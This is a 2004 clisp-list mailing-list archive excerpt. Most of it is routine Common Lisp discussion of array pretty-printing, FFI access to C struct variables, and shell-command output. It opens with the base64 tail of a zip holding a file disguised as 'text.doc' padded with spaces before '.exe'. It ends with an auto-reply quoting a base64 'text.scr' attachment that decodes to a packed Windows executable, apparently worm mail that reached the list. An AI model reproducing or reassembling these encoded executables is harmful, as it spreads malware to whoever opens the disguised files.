AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABQSwECFAAKAAAAAAAHMUMwyicfngBYAAAAWAAAUgAAAAAAAAAAACAAAAAAAAAA dGV4dC5kb2MgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgLmV4ZVBLBQYAAAAAAQABAIAAAABwWAAAAAA= ------=_NextPart_000_0009_4D29C944.3D05C21C-- From bruno@clisp.org Tue Feb 03 13:42:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ao8JC-0003fb-2k for clisp-list@lists.sourceforge.net; Tue, 03 Feb 2004 13:42:14 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Ao8JB-0007X4-IM for clisp-list@lists.sourceforge.net; Tue, 03 Feb 2004 13:42:13 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i13LgAma003720; Tue, 3 Feb 2004 22:42:10 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i13Lg8eQ014519; Tue, 3 Feb 2004 22:42:08 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 2E1A2178AC; Tue, 3 Feb 2004 21:38:43 +0000 (UTC) From: Bruno Haible To: Raymond Toy Subject: Re: [clisp-list] pretty-printing multi-dimensional arrays User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <200401282029.25594.bruno@clisp.org> <4nbrol8og3.fsf@edgedsp4.rtp.ericsson.se> In-Reply-To: <4nbrol8og3.fsf@edgedsp4.rtp.ericsson.se> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402032238.41924.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 3 13:44:42 2004 X-Original-Date: Tue, 3 Feb 2004 22:38:41 +0100 Raymond Toy wrote: > FWIW, cmucl prints it like this. > > ACL 6.2 also prints it like this, except ... Thanks for the info. I've now changed clisp to print 2D array the same way, namely with :FILL style in the innermost dimension and :LINEAR for the outer dimensions: > (make-array '(20 2) :initial-element 3) #2A((3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3) (3 3)) > (make-array '(5 20) :element-type 'character :initial-element #\x) #2A("xxxxxxxxxxxxxxxxxxxx" "xxxxxxxxxxxxxxxxxxxx" "xxxxxxxxxxxxxxxxxxxx" "xxxxxxxxxxxxxxxxxxxx" "xxxxxxxxxxxxxxxxxxxx") > (make-array '(5 20) :element-type 'bit) #2A(#*00000000000000000000 #*00000000000000000000 #*00000000000000000000 #*00000000000000000000 #*00000000000000000000) Bruno From nswart@zoominternet.net Tue Feb 03 18:05:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AoCQG-0005M8-5Q for clisp-list@lists.sourceforge.net; Tue, 03 Feb 2004 18:05:48 -0800 Received: from mail-2.zoominternet.net ([63.67.120.22]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AoCQF-0000tF-QL for clisp-list@lists.sourceforge.net; Tue, 03 Feb 2004 18:05:47 -0800 Received: (qmail 12939 invoked from network); 4 Feb 2004 02:05:45 -0000 Received: from acs-24-154-248-141.zoominternet.net (HELO zoominternet.net) ([24.154.248.141]) (envelope-sender ) by mail-2.zoominternet.net (qmail-ldap-1.03) with SMTP for ; 4 Feb 2004 02:05:45 -0000 Message-ID: <4020537B.30403@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.3.1) Gecko/20030521 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Changing variables in a C dynamic library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 3 18:06:05 2004 X-Original-Date: Tue, 03 Feb 2004 21:05:47 -0500 hi, I am trying to change variables in a C dynamic link library. Simplified it looks like this : ------------------------------C code----------------------------------- struct bar { double x, y; double out; }; struct bar my_struct = {10.0, 20.5, 0.0}; double test_dll2(struct bar *ptr) { return ptr->out = ptr->out + ptr->x + ptr->y; } --> compiles to libtest2.so.0 (or libtest2.dll, doesn't matter) ----------------------------- Lisp code---------------------------------- (use-package "FFI") (def-c-struct bar (x double-float) (y double-float) (out double-float)) (def-call-out get-own-c-float-1 (:library "libtest2.so.0") (:language :stdc) (:name "test_dll2") (:arguments (ptr (c-ptr bar))) (:return-type double-float)) (def-c-var p_my_struct (:LIBRARY "libtest2.so.0") (:type (c-ptr bar))) ----------------------------------------- If one evaluates (get-own-c-float-1 p_my_struct) multiple times from lisp then the result stays 30.5d0 and does not increase as I expected. Is this because of 'fresh' variables or what am I missing ? Thank you Nico Swart. From ampy@ich.dvo.ru Wed Feb 04 03:09:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AoKuc-00013k-3V for clisp-list@lists.sourceforge.net; Wed, 04 Feb 2004 03:09:42 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AoKua-0008QL-D5 for clisp-list@lists.sourceforge.net; Wed, 04 Feb 2004 03:09:40 -0800 Received: from ppp164-AS-5.vtc.ru (ppp164-AS-5.vtc.ru [212.16.207.164]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i14B9RTP013636; Wed, 4 Feb 2004 21:09:28 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <2915730178.20040204210924@ich.dvo.ru> To: Nico CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Changing variables in a C dynamic library In-reply-To: <4020537B.30403@zoominternet.net> References: <4020537B.30403@zoominternet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 4 03:10:24 2004 X-Original-Date: Wed, 4 Feb 2004 21:09:24 +1000 > I am trying to change variables in a C dynamic link library. Simplified > it looks like this : Even more simplified: ----- C ------ struct xyptr { double x, y; double out; }; extern EXTRN LISPDLL_API struct xyptr my_xystruct; extern EXTRN LISPDLL_API struct xyptr * pmy_xystruct; ----- C ------ ----- Lisp ----- (ffi:def-c-struct xyptr (x double-float) (y double-float) (out double-float)) (def-c-var my_xystruct (:LIBRARY "lispdll.dll") (:type xyptr)) ----- Lisp ----- [2]> my_xystruct #S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0) [3]> (setf (xyptr-x pmy_xystruct) 13) 13 [4]> my_xystruct #S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0) [5]> (setf (xyptr-x pmy_xystruct) 13.0d0) 13.0d0 [6]> my_xystruct #S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0) [7]> (xyptr-x pmy_xystruct) 10.0d0 [8]> (type-of my_xystruct) XYPTR [9]> ;(and not foreign-variable) -- Best regards, Arseny From ampy@ich.dvo.ru Wed Feb 04 03:20:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AoL59-0006Ic-J0 for clisp-list@lists.sourceforge.net; Wed, 04 Feb 2004 03:20:35 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AoL58-0006w4-Nq for clisp-list@lists.sourceforge.net; Wed, 04 Feb 2004 03:20:35 -0800 Received: from ppp161-AS-5.vtc.ru (ppp161-AS-5.vtc.ru [212.16.207.161]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i14BKMVC020116; Wed, 4 Feb 2004 21:20:23 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <7116774340.20040204212648@ich.dvo.ru> To: clisp-list@lists.sourceforge.net CC: Nico Subject: Re[2]: [clisp-list] Changing variables in a C dynamic library In-reply-To: <2915730178.20040204210924@ich.dvo.ru> References: <4020537B.30403@zoominternet.net> <2915730178.20040204210924@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 4 03:21:20 2004 X-Original-Date: Wed, 4 Feb 2004 21:26:48 +1000 [4]>> my_xystruct > #S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0) [5]>> (setf (xyptr-x pmy_xystruct) 13.0d0) oops same result with my_xystruct instead of pmy_xystruct. -- Best regards, Arseny From nswart@zoominternet.net Wed Feb 04 18:55:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AoZfW-0007pJ-33 for clisp-list@lists.sourceforge.net; Wed, 04 Feb 2004 18:55:06 -0800 Received: from mail-4.zoominternet.net ([63.67.120.17]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AoZfV-0003PA-I2 for clisp-list@lists.sourceforge.net; Wed, 04 Feb 2004 18:55:05 -0800 Received: (qmail 29649 invoked from network); 5 Feb 2004 02:55:02 -0000 Received: from 0-c-e5-c7-93-fe.pub.arm-cabletel.net (HELO zoominternet.net) ([24.154.248.141]) (envelope-sender ) by mail-4.zoominternet.net (qmail-ldap-1.03) with SMTP for ; 5 Feb 2004 02:55:02 -0000 Message-ID: <4021B088.9000506@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.3.1) Gecko/20030521 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Arseny Slobodjuck CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Changing variables in a C dynamic library References: <4020537B.30403@zoominternet.net> <2915730178.20040204210924@ich.dvo.ru> <7116774340.20040204212648@ich.dvo.ru> In-Reply-To: <7116774340.20040204212648@ich.dvo.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 4 18:56:01 2004 X-Original-Date: Wed, 04 Feb 2004 21:55:04 -0500 Arseny Slobodjuck wrote: >[4]>> my_xystruct > > >>#S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0) >> >> >[5]>> (setf (xyptr-x pmy_xystruct) 13.0d0) >oops > >same result with my_xystruct instead of >pmy_xystruct. > > > Thanks for the comments. What finally produced what I required was this though : _____________________C code____________________________________ struct bar { double x, y; double out; }; struct bar my_struct = {10.0, 20.5, 0.0}; double test_dll2(struct bar *ptr) { return ptr->out = ptr->out + ptr->x + ptr->y; } ______________________Lisp______________________________________ (use-package "FFI") (def-c-struct bar (x double-float) (y double-float) (out double-float)) (def-call-out get-own-c-float-1 (:library "libtest2.so.0") (:language :stdc) (:name "test_dll2") (:arguments (ptr c-pointer :in :alloca)) (:return-type double-float)) (def-c-var c-var-1 (:name "my_struct") (:LIBRARY "libtest2.so.0") (:type (c-ptr bar))) [14]> (c-var-address c-var-1) # [15]> (get-own-c-float-1 (c-var-address c-var-1)) 30.5d0 [16]> (get-own-c-float-1 (c-var-address c-var-1)) 61.0d0 [17]> (get-own-c-float-1 (c-var-address c-var-1)) 91.5d0 [18]> (get-own-c-float-1 (c-var-address c-var-1)) 122.0d0 [19]> I wanted to change the actual C location from Lisp and also pass it as a pointer value to the C functions (the c-pointer declaration did the trick). Thanks again Nico Swart From chas@uchicago.edu Fri Feb 06 12:19:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ApCSB-0006lr-F7 for clisp-list@lists.sourceforge.net; Fri, 06 Feb 2004 12:19:55 -0800 Received: from nirvana.lib.uchicago.edu ([128.135.53.5]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1ApCSA-0007aZ-Mg for clisp-list@lists.sourceforge.net; Fri, 06 Feb 2004 12:19:54 -0800 Received: from localhost (localhost [127.0.0.1]) by nirvana.lib.uchicago.edu (8.11.6p2/8.11.6) with ESMTP id i16KJpI19055 for ; Fri, 6 Feb 2004 14:19:51 -0600 (CST) Message-Id: <20040206.141951.78251465.chas@nirvana.lib.uchicago.edu> To: clisp-list@lists.sourceforge.net From: chas@uchicago.edu Reply-To: chas@uchicago.edu X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] run-shell-command question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 6 12:20:04 2004 X-Original-Date: Fri, 06 Feb 2004 14:19:51 -0600 (CST) this returns the hostname: (print (read-line (run-shell-command (concatenate 'string "uname -n") :OUTPUT :STREAM))) this returns the exit value of the shell command: (print (run-shell-command (concatenate 'string "uname -n"))) how can i capture both values? From support@verisign.com Sat Feb 07 16:37:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Apcwd-0002Hi-LG for clisp-list@lists.sourceforge.net; Sat, 07 Feb 2004 16:37:07 -0800 Received: from pigeon.verisign.com ([65.205.251.71]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1ApGzn-0000Q5-20 for clisp-list@lists.sourceforge.net; Fri, 06 Feb 2004 17:10:55 -0800 Received: (from daemon@localhost) by pigeon.verisign.com (8.12.10/) id i171AlND008854; Fri, 6 Feb 2004 17:10:47 -0800 (PST) From: support@verisign.com Message-Id: <200402070110.i171AlND008854@pigeon.verisign.com> To: clisp-list@lists.sourceforge.net X-Spam-Score: 2.1 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Test Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 7 16:38:01 2004 X-Original-Date: Fri, 6 Feb 2004 17:10:47 -0800 (PST) Thank you for submitting a request for a VeriSign secure server digital ID. We now process all enrollments online via our website. Please go to: http://digitalid.verisign.com/server/enrollIntro.htm to submit your certificate request. If you are renewing a secure server ID, please go to: http://digitalid.verisign.com/services/server/renew.htm Thank you, Customer Support VeriSign, Inc. ----------- Your original message is below ---------- This is a multi-part message in MIME format. ------=_NextPart_000_0009_FC693A27.32C154DA Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. ------=_NextPart_000_0009_FC693A27.32C154DA Content-Type: application/octet-stream; name="text.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="text.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUA AEwBAwAAAAAAAAAAAAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAA AAIAAAQAAAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQ AAAAAAAAAAAAAADowQAAMAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAHAAAABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAA BAAAAFQAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6H ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY 1MzIwJqmabq4J7CsqKCYaZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA +CbPA+jg2Gebzm1UNEMDQDQ024r/////nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/ ////91rAKZUEdutj3lzdYehy/48iuFHtjC7TeybUDTnwqmf/////J+qweUUU5ruTbkwtEfjiz7+y qKGdnJ6jq7bE1ekAGjf/////V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/////hwqQ GaWlqP7yw9Ko+BIsSmuPtuANPXCm3xtafOEnVcn/////EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCW T8tqDLFDerL/////cxfOiEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/////s8fe+hU1WH6n wwI0eaHcGluP5jBtzSB2zyuK/FG5JJL/////A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9 +Tj/////er8HUqDxRWyWU7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/////6o834pBB9axmI+OmbDUB 0KJ3TyoI6c20not7bmRdWVj/////Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3///// mnenAnDhVcwGw0PGXNVhYWRqc3+MoLXN6AYnS3Kcyfn/////LGKbVxZYfbBgJv4jetQxkeRawy/O EIX9dPZ3+4AMmSn/////vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/////TkI7Nzg4 PUVQXm+DmrTR8RQ6Y8++8OVstuQjW/e8Yaj/////0DuJ7nM8Y/iZ4MVLkRehId4isz8/VEhRe29+ 1s/ZbpX/3/7/KQMj6ZQJv+bzpUEQpnwyaWuAIQstx07SEIJs+f////9zp3feFIcHB/tSqgFhwCyb 9yaW3ZedImAPRp7N/SxAf/////+TstLxCSBYdmhjXVBSUVNqZHcBLMXvVDC8VxE8zp1Xbv////8g 461g2tFSFc5mX7dBwBTkZZOfeP5yDbznapV7exN2dv////99HA0t8vb0sPHR53n63Uxlo/8nbIzd C9uMG6m9dYc7T//////bFIJCFAlFzIIP+mK3KXP7FYPnHpN+tCRpKf+9KMvqTv//7f93Djqwv/dU 1OxzmAFNBp3yoq/CYvPlXjffBXFS/////wf4G0B+VD6nqU8sAn0wyOcG0lQqGmtMAZ0E9mr6HccG /4X///gdkASrlgAGBhAr75nUTv8XeAuTxvh1IYyk/////1//zHJr62/+pf3s0EHJeJHZxKwmx+jg qbcaXW/sKRCj/////7zz7fVvUSE1jdZTHEgpGOO3XD+duM3QUlXjtUPqvmfj/////6CgMuLOSTok LzAKj66E4XVAoWKYsvUwSuDj/5GBwScH/////3eIZ49Us4UI4v6CRathjnTauyo4rvBK1BicF4pI wrW8/////577H1bmbpDgO0ezoBq30qq8xPeTSKYBwAT/BhKLXanY/////72UMfgf6FpjPt/WCspC 1QxeYEly9fSu9FMX/BYV8o6a/////3NwPIKx4o43W1MWoieUVFissTU3Pqp1ZZUhbusahIFq//// /+YKGD86lZ+BguNzpEc9CQLWLojCp9U/ilzqn1Y7Xz1K/9L//8N5X0MJuPCrms4esoXZS8HUO17P 3/ZH+Ur3/////9j7LbSKZ2L/WK0RjCL3W8tY34X8rOBl2uuXlOJgCO8//////zzj7H8QjmB+3U2b 5J0FG5d628yz+zePJfE5HbJ8GvUd/////x+9n+nG6unrPtmWcP072kUl9vOk59YEIUw5/lukh4mS ////C53TsFuNKjZCG8rR5DRQrMMcxeFmimxbM1FC/////+0+I6ti1+6U9DSy6dVJrF4mrrxteWeV WzeGpII9rofD/////4ewgLbfQ9+7i4BlLx6oMsu1KpM3Q3niYjRauu1pXGwi/////6wY1XPh68iG L1pJT/FD8zfLbzYYPWctofGYQhK4DcHK/7f//2sKa/gFjY0HnpfoiFC2srjZ8zKBX9p+X/fQHQ3/ ////ShsDOn0PPwtPGPEr4Yi1NyT31AcfN2/Na5BdQpaXn6L/////n50vJlZAhvcbrLVavCc7JKSd idPIpU82+mgAvj5dGdb/2///9ckUyfDkjiw2iQvghuvRCwoz07M2hpLkvYowoP/////HuV680N6r wchK14K/XeWgnpOQJdhALzGgCaazMAGh2P////9frZFovBhyOfUsoWNhix4aQSY3G0eq2fC7xeYx 4EwsaTf+///o+hHGcPdD+0ei2qDV9yjFv7WVcNEE9fBNaRv8////lj2TBqUsujl4DNudAiPDmVWW hFuHQjz/////MzSANfYd8ySmXsbvONrcqoff2HIvP8Tk9pY2j0Q1R/X/////QdWRJmlnyhPaLDJt CSkRc1pBVgs6PfBSHawvphrwt/r//0v/MRQml5IPtKQsvl7QDM/PtwBr03qRVDiIkrH/N2j/5Qrn 4JUlmsjO1oIDpc578bTzHTb//1/4sAzRf5GPJf5SijZ1a+/bwdkjxg8+dRWkwP3/////vLrDPAha 53OGbtWwV3A6D36k3FDVQj8Pjq8/q+BAc+P///8bwlx/iRSy+e0DGCL+C48qlJUdTWH6Jm9hE4O/ 8P///h3CDD375n8/KDSeK68izSmi62dcuGhJfmZLf4P/wKqq0yrLdWigKKdI39unGj0l/////yQF 1+Xs4O3i+PkOZ5dWkbv0XM3X35G6tz+5ml2IrF05/xb//+xxa5fsK8AuCGjFnVkbCQvvGbZTWZVZ D/////8Sdvmb1JGvTrBBSKDuhyimZ58Oxz9PyLYCxZlctWRzDr/E//+bALZBVBTrCYPqxQD5jmVe aGEU9uPhUpP/wv//2shfm3fGoonK0uTbIvEfjxzJrtVAeLhM3Hz/////8cmzboBqoIUrhLngq83n cX+3mzFatZHSCDRwTowmo2m/9P9vNQibXZvIi1v9QJbcQFjMEOr8sIvFbf////+Lst8d93QR3Cap ECBKfjJBvuVhS+lyfye8BkOTUvkTG//////2Xb5AnMIPmQDGi6z1htfggp53i/rU5k4QwhhLPijt +f/G//Z8Cn9Hw2p2uZn+Xa5sWs1OG+uJcY78G/3///H2Bnx5XBOxTyH1VPUrYn2kY3C1qmJKkf// //81xphmgCJYj1UseNhBsToschBw2++sZZJ55B/18Up9aP//v/1r8ObCdG0D/hBQPcVA2puiCQiI fQH5MsalB3QZ/////yzzzqgg1t6NtaZ+b+WUVkdB2Mzu65/2TwrhJu46WbRa/////wNFcfefCIM1 oJJWov8SblqAT/0u9mgrofejOvwzPL1H////Fj5I2IZV3yvCbAuEH4bYF88F6dT96+Xa9f////+h rbxjTj4D84aEHh7n0p57Q6G+O7GfNOqKWdtZY68yrP9/4/9Qxb4pxeUE6l/+ATx9ynbzwUuLfzwb WAtkgf+X/v/MNURw3fAQMkdJhLrY1ICsAegIazkRfRHv4///xv/3PbC0GEcxMZ+Mpo3riFK04887 phcSymcPrf9vlP53R7TNHji84mhBmAEJAw8BuBG0vYX+//85DXVgIRvtYRS7iLJmVZTNglXPoW4Z r1Ib/f//t1KkKhBLsO8pkC/vYlApaa90pZZtp1UP8P//29J96DaZFuBspwy8RleC5es2pJZ8oOli 